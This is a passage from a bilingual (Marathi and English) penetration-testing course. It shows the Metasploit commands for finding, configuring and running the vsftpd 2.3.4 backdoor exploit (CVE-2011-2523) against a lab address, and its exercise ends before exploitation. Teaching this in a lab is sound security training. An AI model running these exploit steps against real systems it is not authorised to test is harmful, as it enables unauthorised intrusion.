23. Exploitation with Metasploit
23.3 Search, Select and Configure a Module
Chapter 20 madhe aapan vsftpd 2.3.4 cha backdoor (CVE-2011-2523) shodhla hota. Aata to Metasploit madhe vaparu.
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > info # read what it does, targets, options
msf6 exploit(...) > show options # what you must set
msf6 exploit(...) > set RHOSTS 192.168.56.20
msf6 exploit(...) > show payloads # compatible payloads
msf6 exploit(...) > check # (if supported) is the target vulnerable?
msf6 exploit(...) > exploit # run it (alias: run)
Common settings: set RHOSTS (target), set RPORT (if non-default), set LHOST (your Kali IP for reverse payloads), set PAYLOAD <name>. Use setg to set a value globally for the whole session.
Ravindra Bagale's Tip
show options madhe Required = yes aani Current Setting rikame aslele option aadhi bhara – nahitar exploit "failed" hoto ani students module la dosh detat. Aani nehmi info vacha: to sangto ha exploit kontya version var chalto.
Lab
Search for vsftpd, select the backdoor module, read info, set RHOSTS 192.168.56.20, and run show options to confirm nothing required is empty. Do not exploit yet – just get it fully configured.